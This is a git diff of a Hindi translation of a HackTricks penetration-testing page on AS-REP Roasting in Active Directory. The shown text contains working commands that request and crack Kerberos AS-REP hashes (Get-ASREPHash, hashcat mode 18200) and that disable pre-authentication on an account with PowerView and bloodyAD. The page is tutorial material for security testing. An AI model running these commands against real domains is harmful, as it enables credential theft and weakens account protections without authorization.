इसके अलावा, इस हमले को करने के लिए **किसी डोमेन खाते की आवश्यकता नहीं होती**, केवल DC से कनेक्शन की जरूरत होती है। हालांकि, **एक डोमेन खाते के साथ**, LDAP क्वेरी का उपयोग करके **डोमेन में Kerberos प्री-प्रमाणीकरण के बिना उपयोगकर्ताओं को पुनः प्राप्त किया जा सकता है**। **अन्यथा उपयोगकर्ता नामों का अनुमान लगाना होगा**।
|
||||
इसके अलावा, इस हमले को करने के लिए **किसी डोमेन खाते की आवश्यकता नहीं होती**, केवल DC से कनेक्शन की जरूरत होती है। हालांकि, **एक डोमेन खाते के साथ**, LDAP क्वेरी का उपयोग करके डोमेन में **Kerberos प्री-प्रमाणीकरण के बिना उपयोगकर्ताओं को पुनः प्राप्त किया जा सकता है**। **अन्यथा उपयोगकर्ता नामों का अनुमान लगाना होगा**।
|
||||
|
||||
#### संवेदनशील उपयोगकर्ताओं का अनुक्रमण (डोमेन क्रेडेंशियल्स की आवश्यकता है)
|
||||
#### संवेदनशील उपयोगकर्ताओं का सूचीकरण (डोमेन क्रेडेंशियल्स की आवश्यकता है)
|
||||
|
||||
{% code title="विंडोज का उपयोग करते हुए" %}
|
||||
```bash
|
||||
|
@ -72,7 +72,7 @@ Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Rubeus के साथ AS-REP Roasting एक 4768 इवेंट उत्पन्न करेगा जिसका एन्क्रिप्शन प्रकार 0x17 होगा और प्रीऑथ प्रकार 0 होगा।
|
||||
Rubeus के साथ AS-REP Roasting करने पर एक 4768 इवेंट उत्पन्न होगा जिसका एन्क्रिप्शन प्रकार 0x17 और प्रीऑथ प्रकार 0 होगा।
|
||||
{% endhint %}
|
||||
|
||||
### क्रैकिंग
|
||||
|
@ -88,21 +88,21 @@ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
|
|||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
|
||||
```
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="लिनक्स का उपयोग करते हुए" %}
|
||||
```
|
||||
```bash
|
||||
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## संदर्भ
|
||||
|
||||
[**AS-REP Roasting के बारे में अधिक जानकारी ired.team में**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों और अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
|
||||
अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करने के लिए [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों!
|
||||
|
||||
**हैकिंग अंतर्दृष्टि**\
|
||||
हैकिंग के रोमांच और चुनौतियों पर गहराई से जानकारी प्राप्त करें
|
||||
|
@ -113,18 +113,18 @@ bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac
|
|||
**नवीनतम घोषणाएँ**\
|
||||
नवीनतम बग बाउंटीज के लॉन्चिंग और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें
|
||||
|
||||
[**Discord**](https://discord.com/invite/N3FrSbmwdy) पर हमसे जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
|
||||
[**Discord**](https://discord.com/invite/N3FrSbmwdy) पर **हमसे जुड़ें** और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से नायक तक AWS हैकिंग सीखें!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) में **शामिल हों** या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue